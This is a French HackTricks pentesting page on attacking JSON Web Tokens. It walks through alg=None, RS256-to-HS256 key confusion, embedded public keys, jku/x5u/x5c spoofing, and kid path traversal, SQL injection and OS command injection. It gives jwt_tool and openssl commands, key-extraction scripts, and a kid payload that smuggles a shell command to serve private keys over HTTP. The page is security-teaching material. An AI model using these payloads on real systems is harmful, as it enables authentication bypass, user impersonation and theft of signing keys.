hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

19 KiB
Raw Blame History

Vulnérabilités JWT (Json Web Tokens)

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}

Si vous êtes intéressé par une carrière dans le hacking et à hacker l'inhackable - nous recrutons ! (polonais courant écrit et parlé requis).

{% embed url="https://www.stmcyber.com/careers" %}

Une partie de ce post est basée sur le super post : https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Auteur du super outil pour pentester les JWT https://github.com/ticarpi/jwt_tool

Gains Rapides

Exécutez jwt_tool avec le mode All Tests! et attendez les lignes vertes.

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Si vous avez de la chance, l'outil trouvera un cas où l'application web vérifie incorrectement le JWT :

Ensuite, vous pouvez rechercher la requête dans votre proxy ou extraire le JWT utilisé pour cette requête en utilisant jwt_ tool :

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Vous pouvez également utiliser l'extension Burp SignSaboteur pour lancer des attaques JWT depuis Burp.

Modifier les données sans rien changer

Vous pouvez simplement modifier les données en laissant la signature telle quelle et vérifier si le serveur vérifie la signature. Essayez de changer votre nom d'utilisateur en "admin", par exemple.

La token est-elle vérifiée ?

Pour vérifier si la signature d'un JWT est vérifiée :

  • Un message d'erreur suggère une vérification en cours ; les détails sensibles dans les erreurs détaillées doivent être examinés.
  • Un changement dans la page retournée indique également une vérification.
  • Aucun changement suggère aucune vérification ; c'est le moment d'expérimenter avec la modification des revendications de charge utile.

Origine

Il est important de déterminer si le token a été généré côté serveur ou côté client en examinant l'historique des requêtes du proxy.

  • Les tokens vus pour la première fois du côté client suggèrent que la clé pourrait être exposée au code côté client, nécessitant une enquête plus approfondie.
  • Les tokens provenant du côté serveur indiquent un processus sécurisé.

Durée

Vérifiez si le token dure plus de 24h... peut-être qu'il n'expire jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement.

Brute-force HMAC secret

Voir cette page.

Modifier l'algorithme en None

Définissez l'algorithme utilisé comme "None" et supprimez la partie signature.

Utilisez l'extension Burp appelée "JSON Web Token" pour essayer cette vulnérabilité et pour changer différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du token. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None").

Changer l'algorithme RS256 (asymétrique) en HS256 (symétrique) (CVE-2016-5431/CVE-2016-10555)

L'algorithme HS256 utilise la clé secrète pour signer et vérifier chaque message.
L'algorithme RS256 utilise la clé privée pour signer le message et utilise la clé publique pour l'authentification.

Si vous changez l'algorithme de RS256 à HS256, le code backend utilise la clé publique comme clé secrète et utilise ensuite l'algorithme HS256 pour vérifier la signature.

Ensuite, en utilisant la clé publique et en changeant RS256 en HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web en exécutant ceci :

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Nouvelle clé publique dans l'en-tête

Un attaquant intègre une nouvelle clé dans l'en-tête du jeton et le serveur utilise cette nouvelle clé pour vérifier la signature (CVE-2018-0114).

Cela peut être fait avec l'extension "JSON Web Tokens" de Burp.
(Envoyez la requête au Repeater, dans l'onglet JSON Web Token, sélectionnez "CVE-2018-0114" et envoyez la requête).

Spoofing JWKS

Les instructions détaillent une méthode pour évaluer la sécurité des jetons JWT, en particulier ceux utilisant une revendication d'en-tête "jku". Cette revendication doit pointer vers un fichier JWKS (JSON Web Key Set) contenant la clé publique nécessaire à la vérification du jeton.

  • Évaluation des jetons avec l'en-tête "jku" :
  • Vérifiez l'URL de la revendication "jku" pour vous assurer qu'elle mène au fichier JWKS approprié.
  • Modifiez la valeur "jku" du jeton pour diriger vers un service web contrôlé, permettant l'observation du trafic.
  • Surveillance des interactions HTTP :
  • Observer les requêtes HTTP vers votre URL spécifiée indique les tentatives du serveur de récupérer des clés depuis votre lien fourni.
  • Lors de l'utilisation de jwt_tool pour ce processus, il est crucial de mettre à jour le fichier jwtconf.ini avec votre emplacement JWKS personnel pour faciliter le test.
  • Commande pour jwt_tool :
  • Exécutez la commande suivante pour simuler le scénario avec jwt_tool :
python3 jwt_tool.py JWT_HERE -X s

Aperçu des problèmes de Kid

Une revendication d'en-tête optionnelle connue sous le nom de kid est utilisée pour identifier une clé spécifique, ce qui devient particulièrement vital dans les environnements où plusieurs clés existent pour la vérification de la signature du jeton. Cette revendication aide à sélectionner la clé appropriée pour vérifier la signature d'un jeton.

Révélation de la clé via "kid"

Lorsque la revendication kid est présente dans l'en-tête, il est conseillé de rechercher dans le répertoire web le fichier correspondant ou ses variations. Par exemple, si "kid":"key/12345" est spécifié, les fichiers /key/12345 et /key/12345.pem doivent être recherchés dans la racine web.

Traversée de chemin avec "kid"

La revendication kid peut également être exploitée pour naviguer dans le système de fichiers, permettant potentiellement la sélection d'un fichier arbitraire. Il est possible de tester la connectivité ou d'exécuter des attaques de Server-Side Request Forgery (SSRF) en modifiant la valeur kid pour cibler des fichiers ou services spécifiques. La manipulation du JWT pour changer la valeur kid tout en conservant la signature originale peut être réalisée en utilisant le drapeau -T dans jwt_tool, comme démontré ci-dessous :

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

En ciblant des fichiers avec un contenu prévisible, il est possible de forger un JWT valide. Par exemple, le fichier /proc/sys/kernel/randomize_va_space dans les systèmes Linux, connu pour contenir la valeur 2, peut être utilisé dans le paramètre kid avec 2 comme mot de passe symétrique pour la génération de JWT.

Injection SQL via "kid"

Si le contenu de la revendication kid est utilisé pour récupérer un mot de passe d'une base de données, une injection SQL pourrait être facilitée en modifiant la charge utile kid. Un exemple de charge utile qui utilise une injection SQL pour altérer le processus de signature JWT est :

non-existent-index' UNION SELECT 'ATTACKER';-- -

Cette modification force l'utilisation d'une clé secrète connue, ATTACKER, pour la signature JWT.

Injection OS via "kid"

Un scénario où le paramètre kid spécifie un chemin de fichier utilisé dans un contexte d'exécution de commande pourrait conduire à des vulnérabilités d'exécution de code à distance (RCE). En injectant des commandes dans le paramètre kid, il est possible d'exposer des clés privées. Un exemple de charge utile pour obtenir une RCE et une exposition de clé est :

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u et jku

jku

jku signifie JWK Set URL.
Si le jeton utilise une revendication d'en-tête “jku”, alors vérifiez l'URL fournie. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Modifiez le jeton pour que la valeur jku pointe vers un service web dont vous pouvez surveiller le trafic.

Tout d'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques.

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Ensuite, vous pouvez utiliser par exemple jwt.io pour créer le nouveau JWT avec les clés publiques et privées créées et en pointant le paramètre jku vers le certificat créé. Pour créer un certificat jku valide, vous pouvez télécharger l'original et changer les paramètres nécessaires.

Vous pouvez obtenir les paramètres "e" et "n" à partir d'un certificat public en utilisant :

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

URL X.509. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés au format PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans la RFC 52807. Une sécurité de transport est requise pour transférer les certificats.

Essayez de changer cet en-tête en une URL sous votre contrôle et vérifiez si une requête est reçue. Dans ce cas, vous pourriez altérer le JWT.

Pour forger un nouveau jeton en utilisant un certificat contrôlé par vous, vous devez créer le certificat et extraire les clés publique et privée :

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Alors vous pouvez utiliser par exemple jwt.io pour créer le nouveau JWT avec les clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé.

Vous pouvez également abuser de ces deux vulnérabilités pour les SSRFs.

x5c

Ce paramètre peut contenir le certificat en base64 :

Si l'attaquant génère un certificat auto-signé et crée un jeton falsifié en utilisant la clé privée correspondante et remplace la valeur du paramètre "x5c" par le certificat nouvellement généré et modifie les autres paramètres, à savoir n, e et x5t, alors essentiellement le jeton falsifié serait accepté par le serveur.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Clé publique intégrée (CVE-2018-0114)

Si le JWT a intégré une clé publique comme dans le scénario suivant :

En utilisant le script nodejs suivant, il est possible de générer une clé publique à partir de ces données :

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Il est possible de générer une nouvelle clé privée/publique, d'incorporer la nouvelle clé publique dans le jeton et de l'utiliser pour générer une nouvelle signature :

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Vous pouvez obtenir le "n" et "e" en utilisant ce script nodejs :

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Enfin, en utilisant la clé publique et la clé privée ainsi que les nouvelles valeurs "n" et "e", vous pouvez utiliser jwt.io pour forger un nouveau JWT valide avec n'importe quelle information.

ES256 : Révéler la clé privée avec le même nonce

Si certaines applications utilisent ES256 et le même nonce pour générer deux jwts, la clé privée peut être restaurée.

Voici un exemple : ECDSA : Révéler la clé privée, si le même nonce est utilisé (avec SECP256k1)

JTI (JWT ID)

La revendication JTI (JWT ID) fournit un identifiant unique pour un jeton JWT. Il peut être utilisé pour empêcher le jeton d'être rejoué.
Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). Les requêtes 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l'ID à chaque requête, vous pourriez en abuser pour rejouer une requête (nécessitant d'envoyer 10000 requêtes entre chaque replay réussi).

Revendications enregistrées JWT

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

Autres attaques

Attaques de relais inter-services

Il a été observé que certaines applications web s'appuient sur un service JWT de confiance pour la génération et la gestion de leurs jetons. Des cas ont été enregistrés où un jeton, généré pour un client par le service JWT, a été accepté par un autre client du même service JWT. Si l'émission ou le renouvellement d'un JWT via un service tiers est observé, la possibilité de s'inscrire à un compte sur un autre client de ce service en utilisant le même nom d'utilisateur/email doit être examinée. Une tentative doit ensuite être faite pour rejouer le jeton obtenu dans une requête vers la cible pour voir s'il est accepté.

  • Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement de falsifier le compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être nécessaire si l'inscription sur une application tierce est effectuée, car cela pourrait entrer dans une zone grise légale.

Vérification de l'expiration des jetons

L'expiration du jeton est vérifiée à l'aide de la revendication "exp" Payload. Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. Le RFC JWT recommande d'atténuer les attaques de replay JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est cruciale. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse des horodatages et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de jwt_tool.

  • Un risque de sécurité peut être présent si l'application valide toujours le jeton, car cela pourrait impliquer que le jeton ne pourrait jamais expirer.

Outils

{% embed url="https://github.com/ticarpi/jwt_tool" %}

Si vous êtes intéressé par une carrière en hacking et que vous souhaitez hacker l'inhackable - nous recrutons ! (polonais courant écrit et parlé requis).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}